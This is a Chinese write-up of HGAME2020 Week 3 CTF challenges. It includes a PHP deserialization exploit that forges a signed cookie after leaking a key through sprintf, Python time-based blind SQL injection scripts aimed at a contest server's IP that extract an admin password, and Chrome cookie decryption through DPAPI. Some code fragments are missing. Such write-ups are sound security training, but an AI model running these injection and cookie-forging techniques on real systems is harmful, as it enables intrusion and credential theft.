HGAME2020 Week3 WriteUp

Web

序列之争 - Ordinal Scale

第一步才是最艰难的。。。  

源码里提示有个压缩包,一直都不知道这个压缩包在哪,原来直接可以从根目录下的吗。。。

(找这个压缩包找了快一个小时,我应该是没救了)

里面三个php文件。

第一个是主页登陆界面的,没什么用。

第二个是game界面,可以看到只要rank是1就可以得到flag。  

最后一个则是关键的文件,存储了游戏最基本的规则。

encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }
}

class Rank
{
    private $rank;
    private $serverKey;     // 服务器的 Key
    private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));
            return;
        }

        $this->Set($_SESSION['rank']);
    }

    public function Set($no){
        $this->rank = $no;
    }

    public function Get(){
        return $this->rank;
    }

    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            $this->rank -= rand(5, 15);
            if($this->rank <= 2){
                $this->rank = 2;
            }

            $_SESSION['exp'] += rand(20, 200);
            return array(
                'result' => true, 
                'msg' => 'Congratulations! You win! '
            );
        }else{
            return array(
                'result' => false, 
                'msg' => 'You die!'
            );
        }
    }

    public function __destruct(){
        // 确保程序是跑在服务器上的!
        $this->serverKey = $_SERVER['key'];
        if($this->key === $this->serverKey){
            $_SESSION['rank'] = $this->rank;
        }else{
            // 非正常访问
            session_start();
            session_destroy();
            setcookie('monster', '');
            header('Location: index.php');
            exit;
        }
    }
}

class Monster
{
    private $monsterData;
    private $encryptKey;

    public function __construct($key){
        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }
      
        $this->Set();   
    }

    public function Set(){
        $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
        $this->monsterData = array(
            'name' => $monsterName[array_rand($monsterName, 1)],
            'no' => rand(1, 2000),
        );
        $this->Save();
    }

    public function Get(){
        return $this->monsterData;
    }

    private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
    }
}

if($this->rank <= 2){$this->rank = 2;}怪不得我用连点器点了半天也没反应。。。  
所以要得到flag只能开挂,修改rank,根据终极hint,我们可以通过php反序列化来修改rank。

这里只有一个地方用到了unserialize,所以我们只能通过monsterData,而monsterData是从cookie里提取,所以我们需要构造一个cookie,不过这里有个验证md5($monsterData . $this->encryptKey) === $sign,所以我们需要获得encryptKey

$monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }

参考终极hint我们可以发现这里的`sprintf`有个漏洞,因为它把playerNameencryptKey放在了一个数组里。而welcomeMsg = '%s, Welcome to Ordinal Scale!'所以我们的一开始输入的playerName如果等于`%s`,那么在第二遍循环的时候welcomeMsg依旧等于'%s, Welcome to Ordinal Scale!'就会把encryptKey一起输出。

public function __construct($playerName){
        $_SESSION['player'] = $playerName;
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;
        }
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();

    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }

输入名字`%s`就得到了encryptKey

然后就可以构造cookie了,我们可以看到这里需要monsterDataencryptKey,而monsterData就是我们需要修改的地方。

private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
    }

这里的$this->encryptKey是在创建这个Monster类的时候传递进来的,就是Game类中的signsign生成的代码就是之前sprintf漏洞的那个循环,通过playerNameencryptKeymd5加密生成的。

public function __construct($key){

        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

终于理清了变量之间的关系,那么就开始构造,下面是payload

 new Rank(),       //触发反序列化,当调用name的时候,rank就会更新成1
    'no' => rand(1, 2000),
);

$sign='';
$playerName='123';              //随便设个名字,只要和POST上去的一样就行了
$data = [$playerName, $encryptKey];
foreach($data as $key => $value){
    $sign .= md5($sign . $value);
}
$encryptKey=$sign;
$sign = md5(serialize($monsterData) . $encryptKey);
$cookiedata=base64_encode(serialize($monsterData) . $sign);

echo($cookiedata);
?>

跑一下就生成我们需要的cookie

最后用Burp Suite截包替换cookie即可

得到flag

Cosmos的留言板-2

我可能只会留言板。。。 

刚打开是个登陆界面,这次的留言板需要登陆,用户名和密码只能是数字和字母,无法注入。登进去以后,很简单的界面,登出是退出登陆,没什么用,除此以外只有留言功能,留言没有过滤任何字符,但是<>之类的符号在html里被转化为了字符实体,那就没有什么办法进行XSS注入(就算可以也无法攻击到管理员,拿不到cookie),那么想要获取管理员的账户就只能通过sql注入,从数据库中获得。  

上周的留言板是有个id可以注入,这周似乎没有什么能注入的地方。在留言那尝试了半天没啥进展,突然发现删除留言时,会在url里显示出删的留言的id。  

然后就尝试了一下注入,发现什么都没过滤,连'和#都不需要用(用了反而报错。。。),还是用上周的脚本改了一下(上周我为什么要时间盲注。。。) 其他基本不变就是多加了个cookie。

#爆库名
import requests
import time

flag = ''
maxlength = 50
host = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=28'
cookie = {
"PHPSESSID":"fsgq6msbpn8ue3s622bvuhvrfj"
}
for i in range(1, 8):
    for x in range(32, 127):
        payload = " and (if(ascii(substring((database()),{0},1))={1},sleep(3),null))"
        url = (host + payload.format(i, x))
        print(url)
        start_time = time.time()
        r = requests.get(url, cookies=cookie)
        if time.time() - start_time > 2:
            flag += chr(x)
            print(flag)
            break

得到库名babysql

#爆表名
import requests
import time

flag = ''
maxlength = 10
host = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=28'
cookie = {
"PHPSESSID":"fsgq6msbpn8ue3s622bvuhvrfj"
}
for i in range(1, maxlength):
    for x in range(32,127):
        payload = " and (if(ascii(substring((Select table_name from information_schema.tables where table_schema='babysql'limit 1,1),{0},1))={1},sleep(5),null))%23"
        url = (host + payload.format(i,x))
        print(url)
        start_time=time.time()
        r = requests.get(url, cookies=cookie)
        if time.time() - start_time > 4:
            flag += chr(x)
            print(flag)
            break

爆列名和爆表名基本一样,这就不放了,知道了表名user和三个列名idnamepassword,最后爆用户名和密码。

#爆字段
import requests
import time

flag = ''
maxlength = 29
host = 'http://139.199.182.61:19999/index.php?method=delete&delete_id=28'
cookie = {
"PHPSESSID":"fsgq6msbpn8ue3s622bvuhvrfj"
}
for i in range(1, maxlength):
    for x in range(32,127):
        payload = " and (if(ascii(substr((Select password from user limit 0,1),{0},1)) ={1},sleep(5),null))"
        url = (host + payload.format(i,x))
        print(url)
        start_time=time.time()
        r = requests.get(url, cookies=cookie)
        if time.time() - start_time > 4:
            flag += chr(x)
            print(flag)
            break

得到用户名cosmos和密码

最后登陆C老板的账号获得flag

Misc

三重隐写

打开压缩包,里面东西有点多,一个貌似是解密工具的安装包,先装了再说,另外还有三段音频,其中两个MP3,一个wav,最后还有个7z加密压缩包。  

先全都用binwalk分析了一下,然后在一个MP3中发现了一张条形码图片,直接手机扫,提示无商品信息。。。只能用在线工具扫了一下,得到了一个密码。

似乎是一个AES解密用的密匙,暂时用不到。

那就先听听音乐放松一下

全听了一遍没有异常之处,再用Audacity看了一下频谱之类的都没啥问题。

剩下一个MP3多半是MP3Stego隐写的,但没有解密的密码,那么密码应该在wave文件里,这个文件名提示是LSB,本以为只有图片可以,没想到音频也可以LSB隐写,找了下资料,用SilentEye解密得到了MP3Stego的密码。

最后用MP3Stego提取,得到了压缩包的密码。 

解压以后就一个加密文件,可以用提供的那个解密工具打开,输入之前扫码得到的密码,得到flag(为什么没法复制粘贴。。。)

日常

打开来两张一模一样的图片和一段音频,双图套路不多,再加上文件名提示Blind,应该是盲水印  

下了一个BlindWaterMark,然后两个小时以后还在折腾python。。。这东西要先装opencv,然后它是python2写的,python3没法运行,试了下自带的2to3工具,发现能运行,但提取出的水印不对。。。最后只能到虚拟机里跑了,刚好kali默认装的是python2.7,然后得到水印

上面的字也太小了,下面是放大了无数倍之后

这上面提到了一个软件VeraCrypt,查了下,是用来加密磁盘的,待会儿肯定要用到,先下一个。然后binwalk分析了一下音频,发现藏了个压缩包,提取出来解压,里面有个叫Container的未知文件,联想到前面那个加密磁盘的工具,这应该就是那个磁盘加密后的容器了,于是用VeraCrypt解密后挂载到电脑上,里面有三个文件,一个压缩包,一个叫Cookies的未知文件和一个txt,先把压缩包解开,发现文件夹里面的明明有文件,但居然是空的,点显示隐藏文件也没显示出来,不过可以从压缩文件里直接解压出来(后来发现原来是系统文件,要设置过才能显示。。。)txt文件里面是一个电脑的本地信息

把NTLM解密,可以得到用户登陆密码。 

cookies文件用winhex查看了一下,里面有chrome.geogle.com之类的信息,应该是chrome的cookie文件,开头是SQLite format 3,尝试用SQLite Database Browser打开,发现了flag字段,但没有有用的信息。 

查了半天资料,了解到chrome的cookie文件是加密过的,解密需要原电脑的MasterKey,而那个一开始隐藏的系统文件就是解密cookie文件所需的那个guid的Master Key file。而Master Key file可以通过用户密码来解密,之前已经获得了,但怎么解密呢。。。  

一开始网上找到了一个方法,先用python从cookie里提取出DPAPI blob。 

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("C:\\Users\\lizhihao\\Downloads\\Cookies")
cursor = conn.cursor()
cursor.execute('SELECT name,value,encrypted_value FROM cookies')
for result in cursor.fetchall():
    print(binascii.b2a_hex(result[2]))
    f = open('test.txt','wb')
    f.write(result[2])
    f.close()

然后我们知道sid和用户密码,再加上master key file,用windows password recovery解密,但是不知道为什么只解出来半个。。。  

可能是没有提取完整,但始终找不到问题在哪。。。  

后来问了一下出题人,发现我又另辟蹊径了。。。(咦,我为什么要说又)

根据出题人的提示,找到了一个软件DataProtectionDecryptor,不需要提取DPAPI blob,直接用cookie文件加上Master Key file和登陆密码就可以解密了,终于获得了flag。。。